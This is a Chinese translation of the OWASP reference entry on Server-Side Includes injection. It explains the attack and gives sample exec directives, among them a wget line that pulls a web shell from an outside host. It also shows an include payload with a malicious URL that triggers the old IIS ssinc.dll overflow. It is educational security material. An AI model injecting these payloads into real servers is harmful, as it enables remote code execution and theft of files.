(OWASP汉化)攻击系列大全(五十五):服务器端包含(SSI)注入


最新版本(mm/dd/yy): 01/27/2016
翻译至Server-Side_Includes_(SSI)_Injection

描述

SSIs是web应用程序中使用的指令,用于提供带有动态内容的html页面。它们类似于CGIs,但是SSIs用于在加载当前页面之前或页面可视化时执行某些操作。因此,web服务器将在向用户提供页面之前分析SSI。

服务器端包含攻击允许通过在html页面中注入脚本或远程执行任意代码来利用web应用程序。它可以通过利用在应用程序中使用的SSI,或者通过用户的输入字段来强制使用SSI。

可以通过插入在SSI指令中使用的字符来检查应用程序是否正确验证输入字段数据,如下所示:

and [a-zA-Z0-9]

另一种发现应用程序是否易受攻击的方法是验证是否存在扩展名为.stm、.shtm和.shtml的页面。然而,缺少这些类型的页面并不意味着应用程序会受到SSI攻击的保护。

无论如何,只有当网络服务器允许SSI执行而没有进行适当的验证时,攻击才会成功。这可能导致在Web服务器进程所有者的权限下访问和操作文件系统和进程。

攻击者可以访问密码文件等敏感信息,并执行shell命令。SSI指令被注入到输入字段,并被发送到Web服务器。Web服务器在提供页面之前解析并执行指令。然后,当下次页面加载在用户浏览器时,攻击结果将可见。

风险因数

TBD

实例

示例1

用于SSI注入的命令因使用的服务器操作系统而异。以下命令表示应该用于执行OS命令的语法。

Linux:
目录列表文件:
<!--#exec cmd="ls" -->

访问目录:
<!--#exec cmd="cd /root/dir/"&gt;-->

执行脚本:
<!--#exec cmd="wget http://mysite.com/shell.txt | rename shell.txt shell.php" -->

Windows:
目录列表文件:
<!--#exec cmd="dir" -->

访问目录:
<!--#exec cmd="cd C:\admin\dir"&gt;-->

示例2

其他可用于访问和设置服务器信息的ssi示例:
若要更改错误消息输出:
<!--#config errmsg="File not found, informs users and password"-->

显示当前文档文件名:
<!--#echo var="DOCUMENT_NAME" -->

显示虚拟路径和文件名:
<!--#echo var="DOCUMENT_URI" -->

使用“配置”命令和“timefmt”参数,可以控制日期和时间输出格式:
<!--#config timefmt="A %B %d %Y %r"-->

使用“fsize”命令,可以打印选定文件的大小:
<!--#fsize file="ssi.shtml" -->

实例3

IIS版本4.0和5.0中的一个旧漏洞允许攻击者通过动态链接库(ssinc.dll)中的缓冲区溢出失败获取系统特权。“ssinc.dll”用于解释进程服务器端包含。 CVE 2001-0506。

通过创建包含SSI代码的恶意页面并强制应用程序加载此页面(路径遍历攻击),可以执行此攻击:

ssi_over.shtml
<!--#include file=”UUUUUUUU...UU”-->
PS:“u”的数目需要超过2049。

强制应用程序加载ssi_over.shtml页:
非恶意url:
www.vulnerablesite.org/index.asp?page=news.asp

恶意url:
www.vulnerablesite.org/index.asp?page=www.malicioussite.com/ssi_over.shtml

如果IIS返回空白页,则表示出现溢出。在这种情况下,攻击者可能会操纵流程流并执行任意代码。

相关威胁代理

相关攻击

相关漏洞

相关控件

参考文献